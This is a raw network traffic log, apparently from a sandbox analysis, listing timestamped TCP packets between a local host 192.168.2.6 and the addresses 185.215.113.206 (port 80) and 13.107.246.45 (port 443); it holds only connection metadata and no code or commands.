Nov 12, 2024 17:07:29.454914093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.454924107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.454946041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.454965115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.461802006 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.462272882 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.462291956 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.462704897 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.462712049 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.473086119 CET	443	49742	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.473401070 CET	49742	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.473423958 CET	443	49742	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.473735094 CET	49742	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.473741055 CET	443	49742	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.513231993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.513356924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.513382912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.513396025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.513427973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.513446093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.513457060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.513490915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.513798952 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.513865948 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.513890982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.513901949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.513933897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.513947010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.514305115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.514317036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.514328003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.514352083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.514363050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.514460087 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.514477015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.514488935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.514497995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.514524937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.514643908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.514662027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.514673948 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.514683962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.514714003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.514827013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.514838934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.514877081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.514949083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.514982939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.515022039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.515047073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.515115023 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.515126944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.515137911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.515150070 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.515157938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.515182018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.515345097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.515355110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.515364885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.515377045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.515384912 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.515394926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.515402079 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.515413046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.515429974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.515455008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.515614986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.515628099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.515639067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.515650988 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.515655994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.515675068 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.515701056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.515774965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.515794039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.515805006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.515815020 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.515830994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.515851974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.558928967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.558949947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.558960915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.559010029 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.559034109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.559276104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.559298038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.559309006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.559320927 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.559355021 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.573234081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.573326111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.573337078 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.573347092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.573362112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.573368073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.573390007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.573409081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.573422909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.573435068 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.573502064 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.573522091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.573538065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.573580027 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.573669910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.573681116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.573697090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.573704004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.573736906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.573807955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.573853016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.573968887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.573978901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.573988914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.574011087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.574037075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.598046064 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.598120928 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.598176956 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.598334074 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.598355055 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.598365068 CET	49741	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.598370075 CET	443	49741	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.601205111 CET	49745	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.601232052 CET	443	49745	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.601294994 CET	49745	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.601511002 CET	49745	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.601522923 CET	443	49745	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.605469942 CET	443	49742	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.605679989 CET	443	49742	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.605729103 CET	49742	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.605782032 CET	49742	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.605797052 CET	443	49742	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.605808973 CET	49742	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.605813980 CET	443	49742	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.608160973 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.608192921 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.608273983 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.608412027 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.608426094 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.630407095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.630429983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.630444050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.630451918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.630465031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.630476952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.630485058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.630513906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.630542994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.630831957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.630887985 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.630893946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.630906105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.630923986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.630934954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.630955935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.630996943 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.631350994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.631362915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.631375074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.631386995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.631397009 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.631412983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.631437063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.631453991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.631463051 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.631495953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.631515980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.631525993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.631536961 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.631547928 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.631565094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.631582975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.631602049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.631618977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.631633997 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.631649971 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.631681919 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.631721020 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.632055998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.632067919 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.632080078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.632091999 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.632103920 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.632112026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.632139921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.632256031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.632267952 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.632280111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.632292986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.632301092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.632312059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.632323027 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.632333040 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.632343054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.632353067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.632370949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.632386923 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.632538080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.632579088 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.632596970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.632608891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.632632971 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.632649899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.632733107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.632745028 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.632761002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.632771969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.632781029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.632797003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.632822990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.632857084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.632894039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.676162004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.676176071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.676186085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.676233053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.676254034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.676263094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.676271915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.676285982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.676295042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.676306963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.676323891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.690135956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.690148115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.690160036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.690213919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.690226078 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.690243006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.690253973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.690265894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.690277100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.690325022 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.690376043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.690387011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.690396070 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.690417051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.690428972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.690521955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.690534115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.690556049 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.690583944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.690607071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.690619946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.690639973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.690651894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.690716982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.690759897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.690781116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.690790892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.690820932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.690993071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.691005945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.691037893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.691057920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.691103935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.691148043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.747476101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.747489929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.747502089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.747536898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.747549057 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.747569084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.747580051 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.747590065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.747622013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.747632027 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.747648954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.748009920 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.748030901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.748043060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.748065948 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.748083115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.748150110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.748159885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.748192072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.748276949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.748295069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.748306036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.748323917 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.748336077 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.748537064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.748579979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.748600006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.748613119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.748631001 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.748642921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.748651028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.748676062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.748681068 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.748718023 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:30.164601088 CET	443	49744	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.164995909 CET	49744	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.165011883 CET	443	49744	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.165441990 CET	49744	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.165446997 CET	443	49744	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.297239065 CET	443	49744	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.297305107 CET	443	49744	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.297363043 CET	49744	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.354643106 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.365555048 CET	443	49745	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.385287046 CET	49744	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.385319948 CET	443	49744	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.385339022 CET	49744	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.385345936 CET	443	49744	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.394016027 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.394032001 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.394548893 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.394555092 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.403769016 CET	49745	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.403795958 CET	443	49745	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.404314041 CET	49745	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.404320955 CET	443	49745	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.422853947 CET	443	49743	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.423266888 CET	49743	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.423299074 CET	443	49743	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.423757076 CET	49743	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.423763990 CET	443	49743	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.524416924 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.524529934 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.524589062 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.534169912 CET	443	49745	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.534257889 CET	443	49745	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.534307003 CET	49745	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.547862053 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.547893047 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.547919989 CET	49746	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.547928095 CET	443	49746	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.569284916 CET	443	49743	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.569618940 CET	443	49743	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.569695950 CET	49743	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.585197926 CET	49745	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.585217953 CET	443	49745	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.585272074 CET	49745	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.585278034 CET	443	49745	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.600229025 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.600260019 CET	443	49747	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:30.600327969 CET	49747	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.619461060 CET	49743	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:30.619497061 CET	443	49743	13.107.246.45	192.168.2.6
